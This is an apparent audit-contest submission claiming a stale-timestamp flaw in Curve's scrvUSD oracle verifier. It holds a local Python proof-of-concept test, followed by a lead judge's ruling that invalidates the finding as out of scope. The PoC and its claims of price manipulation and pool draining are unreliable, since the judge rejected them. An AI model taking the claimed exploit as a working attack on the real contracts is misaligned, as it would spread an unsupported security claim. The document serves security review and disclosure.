DeFiLayer 1Layer 2
14,723 OP
View results
Submission Details
Severity: medium
Invalid

Improper Timestamp Validation (CWE-1338)

Summaryas

Using stale _ts for parameters while extrapolating to block.timestamp in v1/v2 can lead to outdated simulations.

Vulnerability Details

Setup

2025-03-curve/contracts/scrvusd/oracles/ScrvusdOracleV2.vy

make price_params_ts public

price_params_ts: public(uint256)

2025-03-curve/tests/scrvusd/verifier/conftest.py

@pytest.fixture(scope="module")
def verifier(admin, boracle, soracle):
with boa.env.prank(admin):
deployer = boa_solidity.load_partial_solc(
"contracts/scrvusd/verifiers/ScrvusdVerifierV2.sol",
compiler_args={
"optimize": True,
"optimize_runs": 200,
"import_remappings": "hamdiallam/Solidity-RLP@2.0.7=./node_modules/solidity-rlp",
},
)
return deployer.deploy(boracle.address, soracle.address)

2025-03-curve/tests/scrvusd/verifier/unitary/test_price.py

def test_state_root_timestamp_vulnerability(crvusd, admin, verifier, soracle_price_slots, soracle, boracle, scrvusd, scrvusd_slot_values):
# Initialize oracle with valid parameters
initial_ts = boa.env.evm.patch.timestamp
initial_block = 10
# Set up initial valid state
# # Create fake block 10 with valid parameters
block_header, proofs = get_block_and_proofs([(scrvusd, soracle_price_slots)])
boracle._set_state_root(initial_block, block_header.state_root)
# # Verify initial state
with boa.env.prank(admin):
verifier.verifyScrvusdByStateRoot(
initial_block,
serialize_proofs(proofs[0])
)
print("\nNew block accepted", soracle.last_block_number())
# # Validate initial price
# print(soracle)
assert soracle.price_v1() == 10**18 # (50+50)/100 = 1.0
print("Timestamp ",soracle.price_params_ts())
print("\n[price_v1]=",soracle.price_v1())
print("Direct data",soracle.raw_price(0, initial_ts, initial_ts))
# # Advance time by 1 week (real-world changes)
boa.env.time_travel(initial_ts + 7*86400)
new_ts = boa.env.evm.patch.timestamp
# # Attacker creates new block with same parameters but new block number
malicious_block = 20
# print(soracle_price_slots)
# Re-use same parameters but update block number
malicious_block_header, malicious_proofs = get_block_and_proofs([(scrvusd, soracle_price_slots)])
boracle._set_state_root(malicious_block, malicious_block_header.state_root)
# Exploit: verifyScrvusdByStateRoot uses params[5] (stale initial_ts) as timestamp
with boa.env.prank(admin):
verifier.verifyScrvusdByStateRoot(
malicious_block,
serialize_proofs(malicious_proofs[0])
)
# # Oracle state after attack
assert soracle.last_block_number() == malicious_block # New block accepted
print("\nNew block accepted", soracle.last_block_number())
# assert soracle.price_params_ts() == initial_ts # Stale timestamp preserved
print("Stale timestamp preserved",soracle.price_params_ts())
# Price calculation should be incorrect:
# Real price after 1 week should be higher, but oracle uses stale data
# Actual price if parameters updated: (100+100)/100 = 2.0
# Oracle price using stale params: (50+50)/100 = 1.0 with smoothing
# assert soracle.price_v1() < 11 * 10**17 # ~1.0 instead of 2.0
print("~1.0 instead of 2.0 [price_v1]=", soracle.price_v1())
# assert soracle.raw_price(0, new_ts, new_ts) == 10**18 # Direct stale data
print("Direct stale data",soracle.raw_price(0, new_ts, new_ts))
# # Verify attack persistence
boa.env.time_travel(initial_ts + 7*86400) # Advance time by 1 week (real-world changes)
# assert soracle.price_v1() < 11 * 10**17 # Still incorrect after time passage
print("Still incorrect after time passage", soracle.price_v1() )
# assert soracle.raw_price(0, new_ts, new_ts) == 10**18 # Direct stale data
print("Direct stale data",soracle.raw_price(0, new_ts, new_ts))
def test_proper_timestamp_handling(crvusd, admin, verifier, soracle_price_slots, soracle, boracle, scrvusd, scrvusd_slot_values):
# Initial valid setup
initial_ts = boa.env.evm.patch.timestamp
initial_block = 10
print(f"\n[Timestamp] Updated to {initial_ts}")
# Submit initial parameters
block_header, proofs = get_block_and_proofs([(scrvusd, soracle_price_slots)])
with boa.env.prank(admin):
boracle._set_state_root(initial_block, block_header.state_root)
verifier.verifyScrvusdByStateRoot(initial_block, serialize_proofs(proofs[0]))
# Validate initial state
initial_price = soracle.price_v1()
assert initial_price == 10**18 # 1.0
print(f"[Initial Price] {initial_price/1e18:.2f}")
raw_price = soracle.raw_price(0, initial_ts, initial_ts)
print(f"[Raw Price] {raw_price/1e18:.2f}")
# # Advance 1 week and prepare updated parameters
boa.env.time_travel(initial_ts + 7*86400)
new_ts = boa.env.evm.patch.timestamp
soracle_price_slots[4] = 78
soracle_price_slots[5] = 80
# # Submit new parameters with FRESH timestamp
malicious_block = 20
# Submit initial parameters
block_header, proofs = get_block_and_proofs([(scrvusd, soracle_price_slots)])
with boa.env.prank(admin):
boracle._set_state_root(initial_block, block_header.state_root)
verifier.verifyScrvusdByStateRoot(initial_block, serialize_proofs(proofs[0]))
# # Verify updated state
final_price = soracle.price_v1()
raw_price = soracle.raw_price(0, new_ts, new_ts)
print(f"\n[Final Price] {final_price/1e18:.2f}")
print(f"[Raw Price] {raw_price/1e18:.2f}")
# # Should show price increase
assert final_price > 10**18
assert raw_price > 10**18
# # Verify timestamp updated
# assert soracle.price_params_ts() == new_ts
print(f"[Timestamp] Updated to {new_ts}")

Impact

Protocol funds at risk via price manipulation

Likelihood: Medium (Requires oracle update privileges)

Oracles with infrequent updates return inaccurate prices.

This vulnerability allows attackers to:

  1. Freeze price updates by submitting old timestamps

  2. Create arbitrage opportunities between oracle price and real value

  3. Potentially drain liquidity pools using stale pricing data

The root cause is lack of timestamp freshness checks in update_price, allowing historical data to be used for current price calculations.

Tools Used

Manual Review

Recommendations

Enforce frequent updates and validate _ts against a freshness threshold.

Updates

Lead Judging Commences

0xnevi Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope
Assigned finding tags:

[invalid] finding-missing-proof-content-validation

- See [here]([https://github.com/CodeHawks-Contests/2025-03-curve?tab=readme-ov-file#blockhash-oracle)](https://github.com/CodeHawks-Contests/2025-03-curve?tab=readme-ov-file#blockhash-oracle) on how it is used to verify storage variable - All state roots and proofs must be verified by the OOS `StateProofVerifier` inherited as `Verifier` (where the price values and params are extracted), so there is no proof that manipulating timestamp/inputs can affect a price update - It is assumed that the OOS prover will provide accurate data and the OOS verifier will verify the prices/max unlock time to be within an appropriate bound/values - There is a account existance check in L96 of `ScrvusdVerifierV1.sol`, in which the params for price updates are extracted from

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.